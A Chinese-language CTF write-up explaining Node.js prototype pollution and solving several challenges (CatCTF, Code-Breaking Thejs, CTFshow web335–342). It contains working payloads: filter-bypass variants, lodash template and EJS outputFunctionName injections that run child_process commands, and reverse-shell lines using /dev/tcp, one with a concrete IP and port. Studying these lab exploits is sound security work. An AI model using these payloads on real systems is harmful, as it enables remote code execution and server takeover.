Node.js原型链污染
首先强推这篇文章https://developer.mozilla.org/,读完后就会对原型链有个大致的了解
JS继承与原型链
继承是指将特性从父代传递给子代,以便新代码可以重用并基于现有代码的特性进行构建。
JavaScript 使用对象实现继承。每个对象都有一条链接到另一个称作原型的对象的内部链。
该原型对象有自己的原型,依此类推,直到原型是 null 的对象。
据定义,null 没有原型,并作为这条原型链中最后的一环。
在运行时修改原型链的任何成员、甚至是换掉原型都是可能的,所以像静态分派这样的概念在 JavaScript 中不存在。
原型链污染
偏官方一点的解释如下
在JavaScript中,每个对象都有一个原型,它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续,直到找到该属性或者到达原型链的末尾。 攻击者可以利用这个特性,通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码。
简单的说呢,其实就是我们对原链中的某个属性进行了污染,向其中插入恶意代码,当我们再调用这个链(也就是使用这个对象)时,我们的恶意代码就会被触发,此时就达到了一个执行恶意代码的效果。 说到原型链污染,那就肯定离不开__proto__和prototype,所以接下来我们需要了解一下这两个是什么东西。
__proto__和prototype
在JavaScript中,每个对象都有一个名为__proto__的内置属性,它指向该对象的原型。同时,每个函数也都有一个名为 prototype 的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法。简单来说,__proto__ 属性是指向该对象的原型,而 prototype属性是用于创建该对象的构造函数的原型。
这里举个例子来进行说明,首先我们打开谷歌浏览器,F12,切换到控制台,而后我们写入如下代码
1
2
3
4
5
6
7
8
9
10
function Person(name) {
this.name = name;
}
Person.prototype.greet = function() {
console.log(`Hello, my name is ${this.name}`);
};
const person1 = new Person('Alice');
person1.greet(); // 输出 "Hello, my name is Alice"
在例子中,我们创建了一个名为 Person的构造函数,并将prototype上的greet设置为一个打招呼的函数。当我们创建一个名为person1的实例时,它会继承Person.prototype对象上的greet方法。因此,当我们调用person1.greet()时,它会输出 "Hello, my name is Alice"。
从这里就可以看出,prototype是类Person的一个属性,所有用类Person进行实例化的对象,都会拥有prototype的全部内容。
我们实例化出来的person1对象,它是不能通过prototype访问原型的,但通过__proto__就可以实现访问Person原型,具体代码如下
1
console.log(person1.__proto__ === Person.prototype); // 输出 true
总结 1、prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法 2、一个对象的__proto__属性,指向这个对象所在的类的prototype属性
具体过程
那么什么是原型链污染呢 我们这里用一个简单例子来对其进行说明
1
2
3
4
5
var a = {number : 520}
var b = {number : 1314}
b.__proto__.number=520
var c= {}
c.number
对这里的情况需要进行简单说明,我们可以看到在我们进行b.__proto__.number=520 操作后,即使是内容为空的c,调用number属性仍存在且值为我们设定的520,这时就达到了一个原型链污染的目的。
这行代码实际上是在 Object.prototype 上增加了一个名为 number 的属性,并赋值为 520。
访问 c.number: 当执行 c.number 时,引擎会按照以下逻辑寻找:
- 第一步:检查
c自身是否有number属性?(结果:没有)。 - 第二步:顺着原型链向上,检查
c.__proto__(即Object.prototype)是否有number属性?(结果:有,值是520)。
我们这里调用b.number时,它的具体调用过程是如下所示的
1
2
3
1、在b对象中寻找number属性
2、当在b对象中没有找到时,它会在b.__proto__中寻找number属性
3、如果仍未找到,此时会去b.__proto__.__proto__中寻找number属性
常见于当存在函数(其功能是将一个数组的内容复制到另一个数组中)的情况下,示例如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
// 如果target与source有相同的键名 则让target的键值为source的键值
merge(target[key], source[key])
} else {
target[key] = source[key] // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
}
}
}
let o1 = {}
let o2 = JSON.parse{a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
为什么要加JSON.parse,这个函数有什么作用,不加会怎么样?
这是因为,JSON解析的情况下,__proto__会被认为是一个真正的键名,而不代表原型,所以在遍历o2的时候会存在这个键。当不加的时候,他就会认为他是一个原型,此时情况如下
小拓展(js大小写特性)
对于toUpperCase()函数
1
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase
1
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
CTF 常用的攻击载荷(Payload)与绕过
在实战中,出题人通常会设置一些简单的防御(比如用 WAF 或者正则)过滤掉 __proto__ 关键字,你需要掌握最经典的变种绕过:
- 基础 Payload:
{"__proto__": {"polluted": "yes"}} - 利用 constructor 绕过 (CTF 最常见): 在 JS 中,对象的
constructor指向它的构造函数,而构造函数的prototype同样指向原型。所以如果__proto__被拉黑,你可以用:{"constructor": {"prototype": {"polluted": "yes"}}} - 路径赋值污染 (很多路由解析库的漏洞): 提交类似
?a[__proto__][admin]=true的参数。
CatCTF 2022 wife
打开题目
发现是一个登录界面,给出了注册界面,点击注册界面,可以发现需要一个邀请码
如果没有邀请码的话,我们进去是这个样子
此时如果考虑到JS原型链污染的话,就变得简单了,应该是我们越权拿到管理员权限,从而获取flag,其注册界面源码如下所示(比赛时是黑盒,这里并未给出源码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({}, baseUser, user)
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})
我们这里注意到Object.assign方法,他类似之前示例说的clone函数,Object.assign这个方法是可以触发原型链污染的,所以我们这里污染__proto__.isAdmin为 true 就可以了。
1
{"__proto__":{"isAdmin":true}
此时便可越权拿到flag
Code-Breaking 2018 Thejs
源码参考https://code-breaking.com/puzzle/9/#promo-block 搭建环境的话,先安装一下express框架
1
cnpm i express -S
1
npm install lodash
而后通过node server.js即可开启题目环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
首先我们这里可以发现存在merge函数
1
2
3
4
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}
这里的含义也是比较简单,即将我们POST提交的信息,通过merge合并到session中,最终我们所有提交的信息都会被保存到session中去,那么存在这个merge函数的话,说明我们可以进行原型链污染,那么我们污染的参数该是什么呢,我们这个时候看这几行代码
1
2
3
4
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)// 1. 编译模板
let rendered = compiled({...options})// 2. 执行编译后的函数
可以发现其对内容进行了lodash.template处理,我们跟进这个函数,具体代码可见https://github.com/lodash
可以发现这个sourceURL当没有值的时候就是一个空的状态,而当其有值时,就会取当前的这个值,我们看接下来他怎么处理
可以发现这里被放入了Function的第二个参数,此时我们就可以实现代码执行了。 所以我们污染的参数就是sourceURL,具体Payload如下所示
1
{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}
这里需要注意,我们的ConType-type需要修改为application/json,这样才能让__proto__成为键值而非原型,之所以可以直接这样修改是因为express框架支持根据Content-Type来解析请求Body。
同时,这里之所以不用require的原因如下
Function 环境下没有 require 函数,直接使用require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。
爆炸点:lodash.template 的执行流:
代码中自定义了模板引擎:
1
2
let compiled = lodash.template(content) // 1. 编译模板
let rendered = compiled({...options}) // 2. 执行编译后的函数
当我们跟进 lodash.template 的源码,会发现它动态生成了一段字符串代码,并使用 new Function() 将其转变为可执行函数。
关键代码片段(简化):
1
2
3
4
5
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ... 省略 ...
var result = attempt(function() {
return Function(variable, sourceName, source + sourceURL);
});
为什么污染 sourceURL 有用?
- 注入位置:
sourceURL会被拼接到Function构造函数的代码字符串中。 - 逻辑穿透:原本
options(即你传入渲染的变量)里并没有sourceURL。但由于你污染了Object.prototype,'sourceURL' in options就会返回true,从而把你的恶意 Payload 拼接到代码里。
深入 Payload:为什么要这么写?
Payload 看起来很复杂,其实分为三个部分:
A. 绕过环境限制:_load 代替 require
你提到的“Function 环境没有 require”是正确的。
- 在 Node.js 的模块系统中,
require并不是全局变量,而是每个模块闭包里的私有变量。 new Function()创建的函数是在全局作用域下运行的,拿不到当前模块的require。- 解决方案:利用全局对象
global。global.process.mainModule指向主模块,通过它的构造函数内部的私有方法_load,我们可以手动加载任何模块(如child_process)。
B. 沙盒逃逸与执行
1
return global.process.mainModule.constructor._load('child_process').execSync('dir')
这行代码的作用是加载子进程模块并执行系统命令 dir。
C. 结构修正与清理
1
\r\n return e => { ... } \r\n //
- \r\n:用于换行,确保你的代码不会被原本生成的代码前缀注释掉。
- return e => { … }:因为
lodash.template期望得到一个函数,我们直接 return 一个箭头函数给它,这样当执行rendered = compiled(...)时,实际上是在执行我们的恶意函数。 - delete Object.prototype[a]:这是一个“好习惯”。执行完 Payload 后立即清理掉原型污染。如果不清理,整个 Node 进程会一直处于被污染状态,可能导致其他正常功能崩溃(甚至无限循环)。
- //:注释掉后面原本生成的代码,防止语法报错。
总结
这个漏洞的路径是这样的:
- 输入阶段:通过
JSON格式提交__proto__绕过 Express 对urlencoded的过滤。 - 污染阶段:利用
lodash.merge将恶意字符串写入Object.prototype.sourceURL。 - 触发阶段:
res.render调用自定义引擎,引擎内部触发lodash.template。 - 执行阶段:
lodash读取了原型上的sourceURL拼入new Function,并在执行模板时运行了命令。
CTFshow系列
web335
其实就是给出两个在js环境的命令执行
1
/?eval=require('child_process').execSync('cat f*')
1
/?eval=require('child_process').spawnSync('tac',['fl00g.txt']).output
spawnSync函数的话是需要两个参数,返回值是一个可选项,但当返回值不填时,默认返回的是Object,所以这里其实是三个参数,即命令,命令的参数,以及返回格式,比如我们这里想执行ls .,那我们这里就可以写成spawnSync('ls',['.']).output
web336
和上关的环境相似,这里就是绕过了execSync
1.我们这里可以采用拼接的方法来进行绕过,然后本来的话是.execSync,我们这里可以修改为['exe'+'Sync'],小知识[xxx]=.xxx,因此我们这里尝试一下这个方法
1
2
eval=require('child_process')['exe'%2B'cSync']('ls')
//+号进行了URL编码,这是因为不编码的话+会被解析为空格
2.用上面的第二个函数(spawnSync)可正常执行命令
web339
方法一
1
2
3
4
5
6
7
8
9
10
11
12
13
#login.js 部分代码
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
单看这个login.js的话,我们这里不知道flag,肯定是无法满足secert.ctfshow===flag的 与上题相似,但这里的api.js内容中有这样一串代码
1
2
3
4
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
如果我们可以自定义query的内容,就可以实现RCE,所以我们这里的话就用原型链污染来修改__proto__的值,具体payload如下
1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}
接下来去访问api接口,从而调用这个query
此时查看我们监听的7777端口,成功反弹shell
res.render 的作用:本意是渲染名为 api 的模板,并向模板传入一个名为 query 的变量。
当执行到 res.render('api', { query: Function(query)(query)}) 时,JavaScript 引擎会尝试寻找 query 变量的值。
- 如果在当前作用域找不到
query,它会向上查找。 - 最终它会在 Object.prototype 上找到你刚刚污染进去的
query。
res.render(‘api’) 的真实作用: 是告诉 Express:“请去项目的 views 文件夹里,找一个名字叫 api.ejs(或者 api.pug / api.html 等取决于模板引擎)的文件,把数据塞进去渲染成网页,然后发给用户。
方法二,ejs模板RCE
这个题使用了ejs模板,对于ejs模板RCE我们这里的话可以看一下这两篇文章 https://evi0s.com/ https://xz.aliyun.com/t/7184#toc-7 里面对其进行了具体分析,可以知道最后的方法的话就是对一个名为outputFunctionName的成员进行赋值,其内容是我们的恶意代码,然后我们再次请求,就可以触发这个代码的执行,具体payload如下
1
"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP地址/监听端口 0>&1\"');var __tmp2"}
在 EJS 编译模板的底层源码中,有类似这样一段拼接字符串的代码:
1
2
3
// EJS 底层用于生成函数的代码片段(简化版)
var source = "var " + options.outputFunctionName + " = [];\n";
// ... 后面继续拼接渲染模板的代码 ...
- 这里的
options.outputFunctionName是 EJS 的一个内部配置项。 - 默认情况下,如果你不传这个参数,它可能是一个默认的变量名(比如叫
__append)。 - 正常生成的代码长这样:
var __append = [];
漏洞触发:污染 outputFunctionName:
EJS 存在一个致命缺陷:它在读取 outputFunctionName 这个属性时,没有防备原型链污染。
因为你用原型链污染了 Object.prototype.outputFunctionName,当 EJS 尝试去读取 options.outputFunctionName 时,它发现当前的 options 对象里没有这个属性,于是顺着原型链找到了你注入的恶意 Payload。
把 Payload 代入进去,看看最终 EJS 生成的 JS 代码变成了什么样子:
1
2
// 拼接后,EJS 引擎真正执行的代码变成了:
var _tmp1;global.process.mainModule.require('child_process').exec('bash -c "..."');var __tmp2 = [];
看懂了吗?黑客巧妙地利用了分号 ;,将原本的一行代码“切”成了三句独立的合法 JavaScript 代码:
- var _tmp1; (利用 EJS 前面自带的
var,声明了一个叫_tmp1的废变量,保证语法不报错)。 - global.process.mainModule.require(‘child_process’).exec(‘bash -c “…”’); (真正执行反弹 Shell 攻击的恶意代码)。
- var __tmp2 = []; (声明一个叫
__tmp2的变量,用来“接住” EJS 后面自带的 ` = [];`,保证结尾语法也不报错)。
Web342
jade的原型链污染,参考链接https://xz.aliyun.com/t/7025
1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"')"}}}
AST(抽象语法树):
当你写了一段 Jade/Pug 模板代码时,机器是看不懂的。模板引擎会先进行“词法分析”和“语法分析”,把这段代码转换成一个树状的结构对象,这就叫 AST(Abstract Syntax Tree)。
比如,解析出来的 AST 节点可能长这样:
1
2
3
4
5
6
7
8
{
"type": "Tag",
"name": "h1",
"block": {
"type": "Text",
"val": "msg"
}
}
接下来,模板引擎会遍历这棵树(通常使用类似 walkAST 的函数),根据每个节点的 type,生成对应的 JavaScript 代码并执行。
漏洞触发点:AST 注入
Jade/Pug 的 AST 遍历代码存在逻辑缺陷。在遍历这棵树时,如果某些节点缺少特定的属性(比如本来应该有个 block,但实际上是 undefined),JS 引擎就会顺着原型链往上找。
这给了我们可乘之机:如果我们污染了 Object.prototype,强行给它塞入一个恶意的 AST 节点,那么在模板编译时,编译器就会把我们伪造的节点当成合法的 AST 节点去拼接代码!
Payload 如下: {"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"...\"')"}}}
我们逐块来看这块“拼图”的作用:
- “type”:”Code”
- 这是最核心的一步(也就是狸猫换太子)。我们告诉 Jade/Pug 编译器:“我是一个代码节点,请把我当做 JavaScript 代码直接执行,而不是当成普通的文本渲染!”
- 编译器在遍历到这个伪造节点时,看到
type是Code,就会毫不怀疑地将里面的内容拼接到最终要执行的渲染函数里。
- “self”:1
- 在 Jade/Pug 的底层代码生成逻辑(
pug-code-gen)中,经常会有一些用于控制作用域或状态的标志位。加上"self":1(或者self: true)通常是为了满足编译器内部的某些if条件分支,让编译器顺利走到拼接代码的那一步,而不会因为缺少依赖属性而报错退出。
- 在 Jade/Pug 的底层代码生成逻辑(
- “line”:”global.process.mainModule…“
- 在合法的 AST
Code节点中,line(或者val)属性存放的应该是模板里的合法表达式。 - 在这里,它被替换成了你的 反弹 Shell 代码。当编译器把这个
Code节点转换为动态 JS 函数时,这段恶意代码就被原封不动地写入并触发了。
- 在合法的 AST













